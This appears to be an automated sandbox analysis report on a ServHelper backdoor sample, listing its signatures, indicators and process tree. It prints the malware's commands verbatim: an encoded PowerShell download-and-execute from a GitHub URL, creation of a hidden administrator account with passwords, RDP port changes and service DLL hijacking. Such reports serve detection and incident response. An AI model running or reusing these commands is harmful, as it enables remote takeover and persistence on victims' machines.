Analysis
-
max time kernel
129s -
max time network
118s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
14-08-2021 06:42
Static task
static1
Behavioral task
behavioral1
Sample
472208d7ba18d4c14b7e90b9db5d6feb.exe
Resource
win7v20210410
Behavioral task
behavioral2
Sample
472208d7ba18d4c14b7e90b9db5d6feb.exe
Resource
win10v20210408
General
-
Target
472208d7ba18d4c14b7e90b9db5d6feb.exe
-
Size
5.9MB
-
MD5
472208d7ba18d4c14b7e90b9db5d6feb
-
SHA1
ff24cc43998ff99e61b1a838e1d51c4888498935
-
SHA256
ae1c9d454905ed43654f99b1ea1e8ecc3ae08eb75c3860f46b285ce724ae5e4d
-
SHA512
9ce72c4da799273ae13008c0033c3d0638f224042ae3bb7910ffb5f59a64babbcd8039468b0a94b8fa5f3192f543a59f493878ade5233d9958d874d59a1e1a15
Malware Config
Extracted
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
-
ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
-
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
-
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
-
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 13 1336 powershell.exe -
Modifies RDP port number used by Windows 1 TTPs
-
Possible privilege escalation attempt 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exepid process 1932 icacls.exe 1140 icacls.exe 1980 icacls.exe 1572 icacls.exe 1312 icacls.exe 1176 takeown.exe 1604 icacls.exe 1252 icacls.exe -
Sets DLL path for service in the registry 2 TTPs
-
Processes:
resource yara_rule \Windows\Branding\mediasrv.png upx \Windows\Branding\mediasvc.png upx -
Loads dropped DLL 2 IoCs
Processes:
pid process 1064 1064 -
Modifies file permissions 1 TTPs 8 IoCs
Processes:
icacls.exeicacls.exeicacls.exetakeown.exeicacls.exeicacls.exeicacls.exeicacls.exepid process 1980 icacls.exe 1572 icacls.exe 1312 icacls.exe 1176 takeown.exe 1604 icacls.exe 1252 icacls.exe 1932 icacls.exe 1140 icacls.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File created C:\Windows\system32\rfxvmt.dll powershell.exe -
Drops file in Windows directory 21 IoCs
Processes:
powershell.exepowershell.exedescription ioc process File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5e8c849f-8741-4f85-aab8-68db75faa042 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_afe00ea8-0793-4557-a31a-a66b5a3ef9eb powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\FWGF2F6OZ0HGI7YTI0KP.temp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2a459987-70ba-4d14-9c8f-bff5acac2d5a powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_46c07abc-4b8f-4fbc-83b5-88a14a5cac81 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a7ad31b1-435c-4324-b5ee-073e2d3e3d63 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_332c766a-b1ba-4742-9fb5-0da67d020460 powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_9bb790e2-de94-4587-a25d-926d12a7ce7a powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_19d9d6b5-3e26-421f-a913-d2463c91ae81 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_0f0dee66-460b-488d-930d-9ff2fc3db260 powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_35cc7691-65a2-40b9-8e2d-750b0011e8f6 powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b960a7bf-1cc7-4109-8d65-9fcf10905ebd powershell.exe -
Modifies data under HKEY_USERS 4 IoCs
Processes:
powershell.exeWMIC.exeWMIC.exedescription ioc process Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f064a817d790d701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe Key created \REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe -
Modifies registry key 1 TTPs 1 IoCs
-
Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exedescription ioc process Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13\Blob = 040000000100000010000000410352dc0ff7501b16f0028eba6f45c50f00000001000000140000005bcaa1c2780f0bcb5a90770451d96f38963f012d0b000000010000001e000000440053005400200052006f006f0074002000430041002000580033000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000c4a7b1a47b2c71fadbe14b9075ffc415608589101d00000001000000100000004558d512eecb27464920897de7b66053030000000100000014000000dac9024f54d8f6df94935fb1732638ca6ad77c131900000001000000100000006cf252fec3e8f20996de5d4dd9aef42420000000010000004e0300003082034a30820232a003020102021044afb080d6a327ba893039862ef8406b300d06092a864886f70d0101050500303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f74204341205833301e170d3030303933303231313231395a170d3231303933303134303131355a303f31243022060355040a131b4469676974616c205369676e617475726520547275737420436f2e311730150603550403130e44535420526f6f7420434120583330820122300d06092a864886f70d01010105000382010f003082010a0282010100dfafe99750088357b4cc6265f69082ecc7d32c6b30ca5becd9c37dc740c118148be0e83376492ae33f214993ac4e0eaf3e48cb65eefcd3210f65d22ad9328f8ce5f777b0127bb595c089a3a9baed732e7a0c063283a27e8a1430cd11a0e12a38b9790a31fd50bd8065dfb7516383c8e28861ea4b6181ec526bb9a2e24b1a289f48a39e0cda098e3e172e1edd20df5bc62a8aab2ebd70adc50b1a25907472c57b6aab34d63089ffe568137b540bc8d6aeec5a9c921e3d64b38cc6dfbfc94170ec1672d526ec38553943d0fcfd185c40f197ebd59a9b8d1dbada25b9c6d8dfc115023aabda6ef13e2ef55c089c3cd68369e4109b192ab62957e3e53d9b9ff0025d0203010001a3423040300f0603551d130101ff040530030101ff300e0603551d0f0101ff040403020106301d0603551d0e04160414c4a7b1a47b2c71fadbe14b9075ffc41560858910300d06092a864886f70d01010505000382010100a31a2c9b17005ca91eee2866373abf83c73f4bc309a095205de3d95944d23e0d3ebd8a4ba0741fce10829c741a1d7e981addcb134bb32044e491e9ccfc7da5db6ae5fee6fde04eddb7003ab57049aff2e5eb02f1d1028b19cb943a5e48c4181e58195f1e025af00cf1b1ada9dc59868b6ee991f586cafab96633aa595bcee2a7167347cb2bcc99b03748cfe3564bf5cf0f0c723287c6f044bb53726d43f526489a5267b758abfe67767178db0da256141339243185a2a8025a3047e1dd5007bc02099000eb6463609b16bc88c912e6d27d918bf93d328d65b4e97cb15776eac5b62839bf15651cc8f677966a0a8d770bd8910b048e07db29b60aee9d82353510 472208d7ba18d4c14b7e90b9db5d6feb.exe Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\DAC9024F54D8F6DF94935FB1732638CA6AD77C13 472208d7ba18d4c14b7e90b9db5d6feb.exe -
Runs net.exe
-
Suspicious behavior: EnumeratesProcesses 13 IoCs
Processes:
powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepid process 804 powershell.exe 804 powershell.exe 1540 powershell.exe 1540 powershell.exe 1480 powershell.exe 1480 powershell.exe 1360 powershell.exe 1360 powershell.exe 804 powershell.exe 804 powershell.exe 804 powershell.exe 1336 powershell.exe 1336 powershell.exe -
Suspicious behavior: LoadsDriver 5 IoCs
Processes:
pid process 464 1064 1064 1064 1064 -
Suspicious use of AdjustPrivilegeToken 19 IoCs
Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exepowershell.exepowershell.exepowershell.exepowershell.exeicacls.exeWMIC.exeWMIC.exepowershell.exedescription pid process Token: SeDebugPrivilege 1100 472208d7ba18d4c14b7e90b9db5d6feb.exe Token: SeDebugPrivilege 804 powershell.exe Token: SeDebugPrivilege 1540 powershell.exe Token: SeDebugPrivilege 1480 powershell.exe Token: SeDebugPrivilege 1360 powershell.exe Token: SeRestorePrivilege 1252 icacls.exe Token: SeAssignPrimaryTokenPrivilege 1692 WMIC.exe Token: SeIncreaseQuotaPrivilege 1692 WMIC.exe Token: SeAuditPrivilege 1692 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1692 WMIC.exe Token: SeIncreaseQuotaPrivilege 1692 WMIC.exe Token: SeAuditPrivilege 1692 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1168 WMIC.exe Token: SeIncreaseQuotaPrivilege 1168 WMIC.exe Token: SeAuditPrivilege 1168 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 1168 WMIC.exe Token: SeIncreaseQuotaPrivilege 1168 WMIC.exe Token: SeAuditPrivilege 1168 WMIC.exe Token: SeDebugPrivilege 1336 powershell.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
472208d7ba18d4c14b7e90b9db5d6feb.exepowershell.execsc.exenet.execmd.execmd.exedescription pid process target process PID 1100 wrote to memory of 804 1100 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 1100 wrote to memory of 804 1100 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 1100 wrote to memory of 804 1100 472208d7ba18d4c14b7e90b9db5d6feb.exe powershell.exe PID 804 wrote to memory of 932 804 powershell.exe csc.exe PID 804 wrote to memory of 932 804 powershell.exe csc.exe PID 804 wrote to memory of 932 804 powershell.exe csc.exe PID 932 wrote to memory of 1104 932 csc.exe cvtres.exe PID 932 wrote to memory of 1104 932 csc.exe cvtres.exe PID 932 wrote to memory of 1104 932 csc.exe cvtres.exe PID 804 wrote to memory of 1540 804 powershell.exe powershell.exe PID 804 wrote to memory of 1540 804 powershell.exe powershell.exe PID 804 wrote to memory of 1540 804 powershell.exe powershell.exe PID 804 wrote to memory of 1480 804 powershell.exe powershell.exe PID 804 wrote to memory of 1480 804 powershell.exe powershell.exe PID 804 wrote to memory of 1480 804 powershell.exe powershell.exe PID 804 wrote to memory of 1360 804 powershell.exe powershell.exe PID 804 wrote to memory of 1360 804 powershell.exe powershell.exe PID 804 wrote to memory of 1360 804 powershell.exe powershell.exe PID 804 wrote to memory of 1176 804 powershell.exe takeown.exe PID 804 wrote to memory of 1176 804 powershell.exe takeown.exe PID 804 wrote to memory of 1176 804 powershell.exe takeown.exe PID 804 wrote to memory of 1604 804 powershell.exe icacls.exe PID 804 wrote to memory of 1604 804 powershell.exe icacls.exe PID 804 wrote to memory of 1604 804 powershell.exe icacls.exe PID 804 wrote to memory of 1252 804 powershell.exe icacls.exe PID 804 wrote to memory of 1252 804 powershell.exe icacls.exe PID 804 wrote to memory of 1252 804 powershell.exe icacls.exe PID 804 wrote to memory of 1932 804 powershell.exe icacls.exe PID 804 wrote to memory of 1932 804 powershell.exe icacls.exe PID 804 wrote to memory of 1932 804 powershell.exe icacls.exe PID 804 wrote to memory of 1140 804 powershell.exe icacls.exe PID 804 wrote to memory of 1140 804 powershell.exe icacls.exe PID 804 wrote to memory of 1140 804 powershell.exe icacls.exe PID 804 wrote to memory of 1980 804 powershell.exe icacls.exe PID 804 wrote to memory of 1980 804 powershell.exe icacls.exe PID 804 wrote to memory of 1980 804 powershell.exe icacls.exe PID 804 wrote to memory of 1572 804 powershell.exe icacls.exe PID 804 wrote to memory of 1572 804 powershell.exe icacls.exe PID 804 wrote to memory of 1572 804 powershell.exe icacls.exe PID 804 wrote to memory of 1312 804 powershell.exe icacls.exe PID 804 wrote to memory of 1312 804 powershell.exe icacls.exe PID 804 wrote to memory of 1312 804 powershell.exe icacls.exe PID 804 wrote to memory of 384 804 powershell.exe reg.exe PID 804 wrote to memory of 384 804 powershell.exe reg.exe PID 804 wrote to memory of 384 804 powershell.exe reg.exe PID 804 wrote to memory of 472 804 powershell.exe reg.exe PID 804 wrote to memory of 472 804 powershell.exe reg.exe PID 804 wrote to memory of 472 804 powershell.exe reg.exe PID 804 wrote to memory of 1536 804 powershell.exe reg.exe PID 804 wrote to memory of 1536 804 powershell.exe reg.exe PID 804 wrote to memory of 1536 804 powershell.exe reg.exe PID 804 wrote to memory of 1904 804 powershell.exe net.exe PID 804 wrote to memory of 1904 804 powershell.exe net.exe PID 804 wrote to memory of 1904 804 powershell.exe net.exe PID 1904 wrote to memory of 1984 1904 net.exe net1.exe PID 1904 wrote to memory of 1984 1904 net.exe net1.exe PID 1904 wrote to memory of 1984 1904 net.exe net1.exe PID 804 wrote to memory of 936 804 powershell.exe cmd.exe PID 804 wrote to memory of 936 804 powershell.exe cmd.exe PID 804 wrote to memory of 936 804 powershell.exe cmd.exe PID 936 wrote to memory of 1480 936 cmd.exe cmd.exe PID 936 wrote to memory of 1480 936 cmd.exe cmd.exe PID 936 wrote to memory of 1480 936 cmd.exe cmd.exe PID 1480 wrote to memory of 1796 1480 cmd.exe net.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"C:\Users\Admin\AppData\Local\Temp\472208d7ba18d4c14b7e90b9db5d6feb.exe"1⤵
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1100 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:804 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\kus5taqu\kus5taqu.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:932 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3C36.tmp" "c:\Users\Admin\AppData\Local\Temp\kus5taqu\CSC1E347D2FA88746AFBCFF79F6ED1736DA.TMP"4⤵PID:1104
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1540 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1480 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1360 -
C:\Windows\system32\takeown.exe"C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1176 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1604 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:1252 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1932 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1140 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1980 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1572 -
C:\Windows\system32\icacls.exe"C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1312 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:384
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:472 -
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:1536
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:1984
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:1480 -
C:\Windows\system32\net.exenet start rdpdr5⤵PID:1796
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:964
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵PID:588
-
C:\Windows\system32\cmd.execmd /c net start TermService4⤵PID:1184
-
C:\Windows\system32\net.exenet start TermService5⤵PID:1252
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:1540
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:1604
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:1596
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵PID:988
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵PID:1076
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:1536
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ATvHGtQG /add1⤵PID:956
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc ATvHGtQG /add2⤵PID:928
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ATvHGtQG /add3⤵PID:1176
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵PID:1168
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵PID:1984
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:1672
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD1⤵PID:1504
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD2⤵PID:1092
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" MRBKYMNO$ /ADD3⤵PID:1988
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵PID:540
-
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵PID:1692
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1656
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc ATvHGtQG1⤵PID:936
-
C:\Windows\system32\net.exenet.exe user WgaUtilAcc ATvHGtQG2⤵PID:1480
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc ATvHGtQG3⤵PID:1360
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵PID:1264
-
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1692
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:928
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1168
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1904
-
C:\Windows\system32\cmd.execmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA2⤵PID:1264
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA3⤵
- Blocklisted process makes network request
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1336
-
C:\Windows\System32\cmd.execmd.exe /C net user wgautilacc 111213&net user wgautilacc /active:yes1⤵PID:1492
-
C:\Windows\system32\net.exenet user wgautilacc 1112132⤵PID:436
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc 1112133⤵PID:1480
-
C:\Windows\system32\net.exenet user wgautilacc /active:yes2⤵PID:732
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user wgautilacc /active:yes3⤵PID:872
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_22ec1d7e-6903-4f2f-b7d2-0c1e6d518074
MD56f0d509e28be1af95ba237d4f43adab4
SHA1c665febe79e435843553bee86a6cea731ce6c5e4
SHA256f545be30e70cd6e1b70e98239219735f6b61c25712720bb1e1738f02be900e7e
SHA5128dbadc140fd18eb16e2a282e3a0a895299b124850e7b9454a3f24e1cc1c090c5bebfbff5062e8807369e84ed7359e0854722cfd45b9a63681f9fea8c97fab797
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_26542af5-4711-4f73-9d5e-746fabe2cbf5
MD57f79b990cb5ed648f9e583fe35527aa7
SHA171b177b48c8bd745ef02c2affad79ca222da7c33
SHA256080ec69d3f2abac629a0bdc314f150ad42a9a1b0a031b1d5c7b5b80051c48683
SHA51220926edf7f0b990da4bd8d7ba91bd8bf7b952b75080f687afa7197a91777604688303d38b4a0a7240b558c23f2e0cd927d3590765109f8be0551f5eb050eafda
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_2fd9eee7-f6fc-41df-a39f-64a8eaacaa52
MD5a70ee38af4bb2b5ed3eeb7cbd1a12fa3
SHA181dbaeae4b0f9e1adc0a1e3d6d76a12396498ba9
SHA256dd2f41f92f19c3fe031bdf5da68ab06768e26762d0077b290cd0094df1d5d58d
SHA5128c69a5300c7545c5c4b25a0594e6813b6b7a85b5f3ae7fc5464b4074fe6f50b2f49d31cacf19bc20a02bb8e237656f1b9b2a3f6a3953e3a8478ca2adc154e0e3
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_3d4a550b-0976-4ec0-b1b7-c085882caeb7
MD5d89968acfbd0cd60b51df04860d99896
SHA1b3c29916ccb81ce98f95bbf3aa8a73de16298b29
SHA2561020cc7c929cd5a4e68ccb40353ca76f427df363f0d95e456eb79db039bdb2b9
SHA512b0e886cce598371b59131fed1535e220c798691bad93ef9474ba440066f5a6bd77a60966604b7a5ff6298b2e200c9dd0c8f9f04aff208b2af423480ead4e8842
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_5c083fc7-dd8f-4c2a-853b-c59529ea4d43
MD5e5b3ba61c3cf07deda462c9b27eb4166
SHA1b324dad73048be6e27467315f82b7a5c1438a1f9
SHA256b84fae85b6203a0c8c9db3ba3c050c97d6700e5c9ae27dd31c103ec1bbb02925
SHA512a5936a098db2e8c0d0231fd97d73cc996ad99897fd64f0e5c6761c44b8eb2db2bff477843d326503e6027c1113da0e8e35f4227195a3cf505c5a374ebe0f67fc
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_653b66fb-dbe4-4b8e-9537-ca7cdaba6975
MD5faa37917b36371249ac9fcf93317bf97
SHA1a0f0d84d58ee518d33a69f5f1c343aa921c8ffd4
SHA256b92f1a891dbe4152a1f834774cc83378d8b4cffb7e344a813219d74ec4084132
SHA512614d3692e5be7554a72a38af408458254af271eaf6855f322ae07aaa647b1478c7ad13027285c8d9999db3739d65ac85ecfdf3e56acca8484083aa0e31de2198
-
